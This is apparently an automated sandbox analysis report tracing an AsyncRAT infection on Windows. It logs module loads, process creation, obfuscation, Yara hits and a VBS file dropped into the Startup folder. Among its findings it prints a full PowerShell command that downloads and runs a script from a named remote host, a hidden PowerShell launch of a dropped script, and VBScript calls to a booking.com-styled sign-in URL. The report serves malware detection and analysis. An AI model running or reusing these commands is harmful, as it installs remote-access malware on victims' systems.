Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Section loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Section loaded: profapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Section loaded: msasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Section loaded: mswsock.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Section loaded: dnsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Section loaded: secur32.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Section loaded: schannel.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Section loaded: ntasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Section loaded: ncrypt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Section loaded: gpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Section loaded: amsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Section loaded: userenv.dll

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32

Jump to behavior

Source: Google Drive.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: C:\Windows\System32\wscript.exe	Automated click: OK
Source: C:\Windows\System32\wscript.exe	Automated click: OK
Source: C:\Windows\System32\wscript.exe	Automated click: OK

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source:	Binary string: NewPE2.pdb source: powershell.exe, 0000000E.00000002.3131786899.000002A173172000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.4289984236.0000025DD6364000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.2683417617.00000187865B0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: NewPE2.pdb8 source: powershell.exe, 0000000E.00000002.3131786899.000002A173172000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.4289984236.0000025DD6364000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.2683417617.00000187865B0000.00000004.08000000.00040000.00000000.sdmp

Data Obfuscation

VBScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: .Run("https://account.booking.com/sign-in?op_token=EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiNjA5OWJhNDYtYTgzOC00MjcwLTkzZDItNmRiZTU1OTBhY2RiIn0yK2VjT2JXVUQ");IWshShell3.Run("https://account.booking.com/sign-in?op_token=EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiNjA5OWJhNDYtYTgzOC00MjcwLTkzZDItNmRiZTU1OTBhY2RiIn0yK2VjT2JXVUQ");IWshShell3.Run("powershell -ExecutionPolicy Bypass [scriptblock]::Create((Invoke-WebReques", "0", "true")

.NET source code contains method to dynamically call methods (often used by packers)

Source: 14.2.powershell.exe.2a173272d80.1.raw.unpack, EwV3ECxYhIse1SOarW.cs	.Net Code: evK9XpuGu9Z2viGKN5t(typeof(Marshal).TypeHandle).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
Source: 18.2.powershell.exe.25dd6464380.1.raw.unpack, EwV3ECxYhIse1SOarW.cs	.Net Code: evK9XpuGu9Z2viGKN5t(typeof(Marshal).TypeHandle).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
Source: 25.2.powershell.exe.187865b0000.0.raw.unpack, EwV3ECxYhIse1SOarW.cs	.Net Code: evK9XpuGu9Z2viGKN5t(typeof(Marshal).TypeHandle).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})

Suspicious powershell command line found

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass [scriptblock]::Create((Invoke-WebRequest 'https://skynetx.com.br/license/2/image.txt').Content).Invoke();
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.e"xe" -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\Users\Public\1tron.ps1"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.e"xe" -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\Users\Public\1tron.ps1"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.e"xe" -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\Users\Public\1tron.ps1"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.e"xe" -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\Users\Public\1tron.ps1"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass [scriptblock]::Create((Invoke-WebRequest 'https://skynetx.com.br/license/2/image.txt').Content).Invoke();	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.e"xe" -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\Users\Public\1tron.ps1"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.e"xe" -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\Users\Public\1tron.ps1"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.e"xe" -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\Users\Public\1tron.ps1"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.e"xe" -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\Users\Public\1tron.ps1"

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FF848C042E0 pushad ; ret	3_2_00007FF848C042FD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FF848C08450 pushad ; ret	3_2_00007FF848C0845D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FF848C07C5E push eax; retf	3_2_00007FF848C07C6D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FF848C07C2E pushad ; retf	3_2_00007FF848C07C5D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FF848C000BD pushad ; iretd	3_2_00007FF848C000C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_00007FF848C0E7DC push E8FFFFFDh; ret	14_2_00007FF848C0E7E1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_00007FF848C0CF56 push esi; ret	14_2_00007FF848C0CF57
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_00007FF848C000BD pushad ; iretd	14_2_00007FF848C000C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_00007FF848C0A0D8 push FFFFFFE8h; ret	14_2_00007FF848C0A0F9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_00007FF848C0748B push ebx; iretd	14_2_00007FF848C0756A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_00007FF848CD235C push 8B485F92h; iretd	14_2_00007FF848CD2364

Source: 14.2.powershell.exe.2a173272d80.1.raw.unpack, EwV3ECxYhIse1SOarW.cs	High entropy of concatenated method names: 'HSxeAoAtqCaIppPXQNx', 'xhVAB9A18U7hSFEdWo9', 'BPTavEfPI8', 'Gyvb3TAL45SrqSX8vZo', 'vtDX8ZAfuOhg9QQYyna', 'wIF5I0AJavoQ8EfL1Zo', 'IA6QGFAhMkLdAkV1bDK', 'hPW6cdAToYsVhft7KHD', 'VqaD4SA7vsIKJfHlWTJ', 'uVaa4GpUIk'
Source: 14.2.powershell.exe.2a173272d80.1.raw.unpack, OBqe2IUAeSpOmlOQ4O.cs	High entropy of concatenated method names: 'nOQdl4ODOg', 'tY3dXGtH5f', 'q9qdvQao7g', 'DpYddoq5nS', 'vUcduRRnlL', 'sqedUSL72O', 'MNddRugcTR', 'd6IBJRRp2Z', 'c8idQhNv3S', 'V1kdEyl02V'
Source: 14.2.powershell.exe.2a173272d80.1.raw.unpack, PE.cs	High entropy of concatenated method names: 'CreateApi', 'GetInternalModuleBaseAddr', 'ReadByteArray', 'GetProcAddress', 'HandleRun', 'Execute', 'BytesToStr', 'as9OEbdwcCTDBNWuSoA', 'tGa495dcgpcTXCFtVxC', 'EnRYp1dRsxF4sW7hePQ'
Source: 18.2.powershell.exe.25dd6464380.1.raw.unpack, EwV3ECxYhIse1SOarW.cs	High entropy of concatenated method names: 'HSxeAoAtqCaIppPXQNx', 'xhVAB9A18U7hSFEdWo9', 'BPTavEfPI8', 'Gyvb3TAL45SrqSX8vZo', 'vtDX8ZAfuOhg9QQYyna', 'wIF5I0AJavoQ8EfL1Zo', 'IA6QGFAhMkLdAkV1bDK', 'hPW6cdAToYsVhft7KHD', 'VqaD4SA7vsIKJfHlWTJ', 'uVaa4GpUIk'
Source: 18.2.powershell.exe.25dd6464380.1.raw.unpack, OBqe2IUAeSpOmlOQ4O.cs	High entropy of concatenated method names: 'nOQdl4ODOg', 'tY3dXGtH5f', 'q9qdvQao7g', 'DpYddoq5nS', 'vUcduRRnlL', 'sqedUSL72O', 'MNddRugcTR', 'd6IBJRRp2Z', 'c8idQhNv3S', 'V1kdEyl02V'
Source: 18.2.powershell.exe.25dd6464380.1.raw.unpack, PE.cs	High entropy of concatenated method names: 'CreateApi', 'GetInternalModuleBaseAddr', 'ReadByteArray', 'GetProcAddress', 'HandleRun', 'Execute', 'BytesToStr', 'as9OEbdwcCTDBNWuSoA', 'tGa495dcgpcTXCFtVxC', 'EnRYp1dRsxF4sW7hePQ'
Source: 25.2.powershell.exe.187865b0000.0.raw.unpack, EwV3ECxYhIse1SOarW.cs	High entropy of concatenated method names: 'HSxeAoAtqCaIppPXQNx', 'xhVAB9A18U7hSFEdWo9', 'BPTavEfPI8', 'Gyvb3TAL45SrqSX8vZo', 'vtDX8ZAfuOhg9QQYyna', 'wIF5I0AJavoQ8EfL1Zo', 'IA6QGFAhMkLdAkV1bDK', 'hPW6cdAToYsVhft7KHD', 'VqaD4SA7vsIKJfHlWTJ', 'uVaa4GpUIk'
Source: 25.2.powershell.exe.187865b0000.0.raw.unpack, OBqe2IUAeSpOmlOQ4O.cs	High entropy of concatenated method names: 'nOQdl4ODOg', 'tY3dXGtH5f', 'q9qdvQao7g', 'DpYddoq5nS', 'vUcduRRnlL', 'sqedUSL72O', 'MNddRugcTR', 'd6IBJRRp2Z', 'c8idQhNv3S', 'V1kdEyl02V'
Source: 25.2.powershell.exe.187865b0000.0.raw.unpack, PE.cs	High entropy of concatenated method names: 'CreateApi', 'GetInternalModuleBaseAddr', 'ReadByteArray', 'GetProcAddress', 'HandleRun', 'Execute', 'BytesToStr', 'as9OEbdwcCTDBNWuSoA', 'tGa495dcgpcTXCFtVxC', 'EnRYp1dRsxF4sW7hePQ'

Boot Survival

Yara detected AsyncRAT

Source: Yara match	File source: 14.2.powershell.exe.2a1634d9528.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.powershell.exe.18786a18480.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.powershell.exe.1ed141288a8.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.powershell.exe.25dc66c8ce0.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.powershell.exe.18786a18480.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.powershell.exe.1ed141288a8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.powershell.exe.25dc66c8ce0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.powershell.exe.2a1634d9528.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000012.00000002.2545216517.0000025DC64F7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.2685245996.0000018786848000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.2848842485.000001ED13F57000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2525569057.000002A163308000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 2608, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 5676, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6256, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6824, type: MEMORYSTR

Drops VBS files to the startup folder

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Desktop.ini.vbs

Jump to dropped file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Desktop.ini.vbs

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Desktop.ini.vbs	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
